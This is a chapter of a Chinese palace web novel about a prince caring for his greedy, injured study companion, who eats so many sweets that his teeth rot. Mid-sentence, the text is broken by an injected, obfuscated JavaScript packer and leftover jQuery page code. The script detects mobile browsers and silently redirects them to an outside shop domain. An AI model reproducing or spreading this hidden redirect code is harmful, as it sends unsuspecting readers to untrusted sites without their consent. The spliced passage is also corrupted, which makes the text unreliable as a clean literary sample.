“铛!铛——”
深宫入夜,雪霁钟鸣。
东西南北四长街,前朝后廷六十院,红墙白檐,宫灯渐次,里外横纵的四百条巷道本分地等待着漫漫长夜。
三山轻步踩在雪上发出细微的声响,呼出的白雾升空不见,见到他来,站在门两侧的内侍连忙掀开帘子让他进去。
三山撇见二人冻得通红的手,道:“殿下与沈伴读今日宿在此,夜深了,没什么人来时你们在里头守着就成。”
二人反应过来连忙要谢,三山手一压小声提点:“不想吃挂落就机灵些,别打扰到殿下和沈伴读休息。”
两名内侍纷纷低声称是,三山这才进去了。
寝殿里头,孟显允坐在桌案一侧就着灯看书,躺床上养伤的沈观复百无聊赖地盯着蝉叶花鸟金丝笼里蝈蝈发出疑问:“殿下,这蝈蝈怕不是死了?”
孟显允懒懒地抬了下眼皮,目光依稀停留在手中的书卷上:“嗯……我来看看。”
孟显允一手拿起,盯见那蝈蝈的触须轻轻动了动,道:“打盹呢,拿翎毛挑它两下就成了。”
“这样啊。”蝈蝈搁在桌上后沈观复却懒得再逗,他问:“殿下,这蝈蝈贵吗?”
平梁城里确实有不少达官贵族喜欢斗蝈蝈,好的蝈蝈更是价格不菲,孟显允并不喜欢这些玩物丧志的小把戏,只不过是买来给沈观复打发时间的小玩意罢了。
孟显允落座:“你喜欢,就不用在意价钱。”
孟显允重新捧起了书,并不是担心太傅过几日的策论,只是陪小孩终归无聊,找些事做也好。
这几日孟显允都准备住在这陪沈观复,算做一种释放善意的信号。
成吉帝和沈家虽各有算计,可两者都在极力维持着表面的和平。
沈家不倒,孟显允和沈观复就是一辈子的荣辱与共。
沈观复:“哇,殿下这般大气、这般好!都让我高兴得找不着北了。”
他烂漫的夸赞里夹着旁敲侧击的心思:“可御医说睡前有忌:‘喜乐无极伤魄,魄伤则狂,狂者意不存’我今晚必因殿下的恩待转辗反侧,喜不能寐……”【1】
孟显允淡淡地瞟他一眼。
沈观复胆大妄为地竖起一根手指:“殿下能允我再用一碗桂花元宵压一压心神么?”
翻书的动作明显一滞。
沈观复眼尖,错以为是鼓励:“像今早的那般,桂花蜜多多地放!”
“用大海碗装,要是能再来一笼玫瑰千层糕和翡翠烧麦则堪称上佳!”
说着喉咙滚动,微微咽了咽口水:“那今夜如何能不安稳呢?”
沈观复:“你说是吧,殿下?”
沈观复见孟显允没搭腔,穷追不舍:“殿下?殿下,都这么晚了,你看书看得眼睛疼不疼?”
“我可舍不得殿下那般好看的眼睛泛红血丝。”说罢,沈观复就要拖着那断了两根肋骨一条手臂小腿骨错位的废材身体下床,“我这就去给殿下多点些蜡烛。”
孟显允见状立即将书一搁,将人一把塞回了床上。
孟显允瞅着沈观复逐渐心虚的脸,半晌后,他才道:“怎么能这般孩子气?”
死皮赖脸就为了一顿宵夜。
孟显允现在不用猜也知道,沈观复多半就是凭借着这样的甜言蜜语让整个侯府都不忍对他说一句重话。
偏偏他又不能冷脸。
两人僵持了一会儿。
沈观复低着头嘀嘀咕咕。
孟显允嗯一声示意沈观复有话直说。
沈观复:“殿下,你和我年龄相仿,不过才少年呐,纵使天真率性些又何妨?”
孟显允一愣:“……”
孟显允眉尾微微扬起,眼神却向下紧盯着沈观复。
他错了。
他一开始就不该和沈观复聊下去——沈观复胡搅蛮缠的本事一等一。
再过了几日,沈家举家离京。
百姓夹道相送,一时风头无两。
宫里头,孟显允握着一册即将终卷的诗集,对一旁的三山道:“沈伴读如何?”
三山:“沈伴读吃完两只沙葱烩鹌鹑,手刚捧上一碗鲜花马蹄羹就听到父兄离去的消息……”
孟显允:“然后?”
三山有些汗颜:“沈伴读的眼泪全砸进了海碗了,今日午膳估摸着只用了个七分饱。”
孟显允:“他且得哭上一阵,我晚些再去看他。”
三山遵令要退下,孟显允交代道:“你再带一壶咸奶茶给他,顺便说工匠帮他做好了轮椅,傍晚我陪他去御花园走走。”
吩咐好一切,孟显允忆起前几日沈观复说与他年龄相当的话,他将书翻了一页继续看下去。
怎会?
他可比沈观复年长一岁。
半月后,未济殿。
三山:“东西都带齐了,主子,主子再等等!”
三山好似个被抽得哒哒响的花陀螺,一会儿是从架子上取大氅、一会儿又闪去拿装着文房四宝的箱子,最后弓着身子手脚麻利地给孟显允身上的玉饰璎珞打上福结。
三山穿着内里缝了皮毛的八宝葫芦补子服,在放了四个暖炉的殿里又是热又是急地出了一脸汗。
今日响晴,艳阳高照,暖洋洋的日头落在殿外的积雪上显得格外敞亮。
可算是这半月里来最好的天气了。
沈观复趁人不觉,从桌上的盘中拈走块花蜜牛乳酥饼。
他坐在轮椅上不嫌事大,瞅着三山然后开口问:“怎么今日这般着急,琼林书院的夫子严苛吗,竟要殿下提前半个时辰去?”
被问到的孟显允没回沈观复的话。
昨日夜里,沈观复硬拉他着算六爻,两人睡得晚。
可偏偏孟显允稀奇地睡了个好觉,稀罕到差点误了上学的时辰。
要不是三山溜进来,这会子儿孟显允怕是还没醒。
三山:“我的伴读大人!殿下素日如此,不说殿下,其余诸皇子就连太子爷都对诸位先生尊敬有加,哪能让先生们在琼林书院坐等学生呢!”
大陈视道教为国教,以礼仪伦理教化四方,尊师重道又是古训,谁敢让先生等?!
沈观复吃干净点心,手推着轮椅凑到跟前,乱中添把火:“殿下,那我可要去?”
孟显允已经回过了神,瞧着坐在轮椅上小脸圆润了几分的沈观复:“……”
这些日子沈观复还真是养得好极了,离过年还远着,人就已经胖了几斤。
孟显允:“今日免了吧,你腿脚不便。”
三山三下五除二清点好东西,回禀:“主子,咱可以过去了。”
孟显允颔首,对沈观复再道:“你在这歇着,我晚些回来再陪你。”
沈观复满意地点点头,心想这话体贴,就是有些像老爷对待空守闺房的小妾。
孟显允一去便是一日,沈观复无聊得在偏殿外头数树叶。
——孟显允三令五申,除了他与皇后身边的宫娥近侍外,其余诸人的东西沈观复半点也碰不得。
沈观复待在外头,顶着太阳实在是晒得头脑发昏:
一无玩伴,二无吃食,明日他绝不待在这!
于是在孟显允散学回来后的夜里,沈观复嚷着要和孟显允一并去琼林书院。
说这话时,孟沈二人正在南熏殿陪皇后用晚膳。
沈观复眼珠子一停。
宫娥就将青瓷碟子里的白玉佛瓜酿肉稳稳当当地夹到了沈观复的碗中。
皇后听完沈观复去书院的央求,用颇为欣慰且赞许的目光注视着沈观复:“真是个争气要强的孩子,显允?”
孟显允晚饭进得不多,桌上的玉竹麦冬汤润肺安神,可苦得很。
他缀饮了两口顺势放下,应声:“孩儿今夜就让三山给沈伴读备好一应文具,明日一并同去。”
皇后:“你办事素来妥当,只是在书院里可要照顾好观复才是,不要让他一人离家千里,受了其他人的欺负。”
皇后又问向沈观复:“观复可还有什么想要的?尽管提。”
沈观复面对皇后的温柔夸赞,小尾巴一翘毫不虚心地受了。
而当皇后问起他想要些什么时,他却头一低,有些不好意思地开口:“皇后娘娘,小子现今心仪之物……”
“不过厨房甜食尔。”
绣陶捂嘴,皇后轻声莞尔,一时间就连孟显允被汤苦下去的嘴角也扬了上来。
晚膳后,沈观复原以为皇后会考究一番孟显允的功课,连带着点到自己,一直心有戚戚。
没料到皇后只是简单地随孟显允说了几句话,就让二人早早退下去休息。
沈观复意外:“皇后娘娘随和过人,宽容体贴,真真是顶好的!”
吃食随意不考究学业,这般的大家长若是在漠北该多好!
孟显允不置可否。
孟显允同沈观复来到偏殿,在进殿前,看顾沈观复起居的大宫娥缓步走近,低着头同孟显允浅浅说了几句话。
孟显允一进来就见到沈观复想喝掉桌上的甜汤,他冷声:“——放下。”
被抓个正着的沈观复微觉不妙:“……”
孟显允让沈观复靠在书桌边莫动,接着孟显允手持灯盏走到沈观复面前道:“张嘴。”
沈观复不明所以,乖乖啊的一声张开。
借着烛火,孟显允将沈观复的牙齿一一看清了,他问:“你还没换完牙?”
“还……还没呢殿下,啊……秋天换了一、一颗下牙,东明说要扔屋顶上去,这样……这样才、才不会长鬼牙。”
沈观复张着嘴,字词含糊地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17490808|202214||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
和孟显允数落:“可我二哥拿到后,他二话不说,就给、给掷走了!”
沈观复哭着追了沈盖云二里地,想让他哥将下牙找回来。
沈盖云马鞭一挥奔得老远,烟尘呛得沈观复直打咧。
沈观复为这事担心了整整一季,生怕长出一颗鬼牙,丑得不能见人。
孟显允面无表情,显得沉静又几分严厉:“你再这样吃甜食,牙怕是要坏好几颗。”
沈观复有几颗牙在松动,但不管是不是要换牙,孟显允都不会再让沈观复这样吃甜食吃下去。
喜好过于分明在这深宫里头可不是件好事情。
孟显允净手后拿过宫娥递来的帕子仔细地擦着,他道:“明日起,除了午间能吃两块米饴,多余的甜食便不能再吃了。”
沈观复张着嘴,在听完孟显允的话眼睛都瞪大了。
沈观复:“殿下……殿下你……”
怎可如此狠心?!
沈观复语调拔高:“皇后娘娘方才允诺我了啊!”
他沈观复在皇宫里的好日子不是才刚刚开始吗?
怎结束得如此仓皇?!
孟显允:“那是今日晚膳的份额,日后你要与我一同进膳,我吃什么你就得跟着吃什么。”
孟显允现在可不是白日里会心疼人的老爷了,此刻孟显允的话语冷漠得简直像个不留情面的恩客。
旦夕之间,甜食离沈观复而去。
这个在如狼如虎、十八般武艺样样精通的父兄手底下都能不学无术的人精,不由得怒从心头起,恶向胆边生,装出一副唬人的模样。
沈观复:“殿下,难不成是怕我吃穷了您?!”
“您尽可放心。我沈家虽不算钟鸣鼎食之家,但在漠北吃了几十年黄沙白雪,总是有些银钱留给我这个小儿子使的!”
孟显允心算:想必就是曲江道与杏林街上几处店面、皇帝赏下的若干田亩,京中的沈家旧院以及那在院子里打理百来个奴仆和一位老管家三个近卫。
沈观复坐轮椅上哼哼哼地笑出声:“届时,我要是吃独食,殿下可就不能怪罪我不讲情谊了!”
孟显允难得能被人逗出笑意,他冲外道:“三山!”
三山溜进来,应答:“主子有何吩咐?”
“日后沈伴读若要买什么吃食或让小厨房做什么点心,一应人力食材耗费从我这出;拿我的月俸,用我的私库,沈伴读要多少我给多少。”
孟显允:“务必让沈伴读如意。”
“殿下疼我,殿下英明,嘿嘿嘿。”沈观复立即舒展了面容,再度亲亲热热地巴结上来,一时间连他的笑容都贱兮兮的可爱。
往后一连晴了好些日子,只是仍旧冷得厉害。
寅时三刻,天还昏黑一片,三山提着灯笼在檐下等孟显允。
小内侍正在用长竿推屋檐下的冰棱,啪嚓声落满地。
隔着门窗三山也听见了殿里头还在哼唧的疼痛声。
三山瞧着脚下这堆明日都不见得能化的冰渣子,心道沈伴读还真是没一日让人省心。
——该。
自得孟显允口谕,沈观复这一月余可谓是彻底放开了胸怀。
不过数十日沈观复便将宫中的饴糖蜜饯吃了个痛快,以至现今,他那本就岌岌可危的半口牙彻底坏了。
御医用丝线拔牙时,中宫里传出来的嚎叫声堪比遭受了诏狱酷刑。
这事最后闹得连潜心问道的成吉帝都来探看了一番。
当成吉帝见到沈观复比沈言归那更肖其母的样貌后,成吉帝无言许久。
成吉帝不久后就下了旨,令沈观复病愈后再住回沈家在平梁的老宅,此前就住在宫中,出行也便宜。
沈观复乐呵呵地叩谢天恩,像是根本不觉得成吉帝这堪比“拘禁”的行为有任何不妥。
当然自此一役,沈观复贪吃好玩的“美名”阖宫尽知。
又过了几日,沈观复能慢慢下地了,只是离了轮椅后仍有些不稳当,颤颤巍巍地要人扶。
就这样,沈观复还想让人搭木梯他要爬上去扑屋檐上捡食的雀。
三山被沈观复折腾得心力交瘁——沈观复要是没贪吃,没病痛,未济殿里还不知道得有多热闹。
导致沈观复牙痛的始作俑者这段时间倒是落得清净,看书习字,十分闲适。
只是沈观复终有痊愈的一日,孟显允清净日子也得翻篇。
就在孟显允看完三卷古书的一日凌晨,寒风入室,烛火跳动。
孟显允抬头便见提着文房四宝向他一瘸一拐走来的沈观复。
“……”
在幽幽暗暗的殿里,沈观复的笑纯然又可恶:“殿下,昨夜我特地没睡,咱们去琼林书院听夫子授课吧!”
孟显允允声一诺。
报应来了。